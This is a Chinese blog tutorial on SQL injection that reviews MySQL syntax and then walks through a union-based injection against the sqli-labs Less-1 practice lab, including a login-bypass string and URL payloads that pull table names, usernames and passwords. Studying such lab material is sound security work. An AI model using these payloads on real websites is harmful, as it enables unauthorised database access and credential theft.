SQL注入流程

SQL注入流程

SQL

SQL是一门ANSI的标准计算机语言,用来访问和操作数据库

数据库软件主要包括SQL server,MySQL,Oracle等

数据库软件兼容一些主要的SQL关键词操作,SQL语言的私有扩展

在这里插入图片描述

使用phpstudy自带的数据库命令行(软件:MySQL 服务接口: 端口/本地 用户:root等)

phpstudy自带的数据库,账号密码都是root

还可以使用phpMyAdmin,使用该方法操作具有可视化的效果。

在这里插入图片描述

创建数据库:

在这里插入图片描述

查看数据库:

在这里插入图片描述

切换数据库:

在这里插入图片描述

删除数据库:

DROP DATABASE webscurity;

SQL语句对大小写不敏感;分号作为语句的结束,程序中会自动补充。

创建数据表:

在这里插入图片描述

查看数据表:

在这里插入图片描述

插入数据表:

在这里插入图片描述

oreder by 句子:

​ select 你要的信息 from 数据表 oreder by 字段 ASC/DESC

​ 当order by 后的数字大于当前列数(字段数)时会报错。

LIMIT5; 5代表限制条数。

LIMIT0,5; 0代表偏移量,5代表限制条数。

union句子:

​ select 你要的信息 from 数据表1 union select 你要的信息 from 数据表2

常见的内置环境:

​ database():打印当前的数据库名称(select database()😉

​ current_user:打印当前的用户(select current_user;)

​ load_file():返回一个文件内容(select load_file(‘文件路径’)😉

​ version():数据库版本

​ into + outfile:写入文件

连接数据库:mysql -u root -p

注释符:1.# 2.——+ ——空格 3./* */

当前数据库:SELECT database();

把数据库中的某列数据或某几列数据合并:group_concat()

数据库路径:SELECT @@datadir;

information_schema:MYSQL5.0以上的版本自带information_schema这个数据库,5.0以下是没有的。

SQL注入

SQL注入原理

当web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

把用户输入的数据当作代码来执行,违背了“数据与代码分离的原则”。

SQL注入的两个关键点

1.用户能够控制输入的内容

2.web应用把用户输入的内容带入到数据库中执行

SQL注入的危害
  • 盗取网站的敏感信息

  • 绕过网站后台认证

    SELECT * FROM admin WHERE username=‘user’ and password=‘pass’

    SELECT * FROM admin WHERE username=’ ‘or ‘1’ = ‘1’ #’ and password=‘pass’

    'or ‘1’ = ‘1’ #

    and
    1 and 1 1
    1 and 0 0
    0 and 1 0
    0 and 0 0

    or
    1 or 1 1
    1 or 0 1
    0 or 1 1
    0 or 0 0

    !
    !T F

  • 借助SQL注入漏洞提取获取系统权限

  • 读取文件信息

SQL注入的流程

1.寻找注入点

2.判断闭合方式

?id=1asdf

有报错:数字型,无闭合或)闭合

无报错:字符型,再判断闭合方式,‘ “ ’)| ”)

?id=1asdf’

查看报错信息,这里的闭合方式为‘)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

3.验证漏洞

?id=1and 1 --+ 正常显示

?id=1 and 0 --+ 无显示

4.判断列数及回显位

?id=1’) order by 4–+

?id=1’) order by 3–+

说明列数为3列

在这里插入图片描述

在这里插入图片描述

?id= -1’) union select 1,2,3 --+

说明回显位为2,3

在这里插入图片描述

5.取数据

取数据库名:

?id=-1) union select 1,database(),3–+

在这里插入图片描述

取表名:

http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),version()–+

在这里插入图片描述

查users

http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),version()–+

在这里插入图片描述

查username

http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,(select group_concat(username) from users),version()–+

在这里插入图片描述

查密码

http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1, group_concat(username),group_concat(password) from users–+

在这里插入图片描述

  • 4
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

游子无寒衣

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值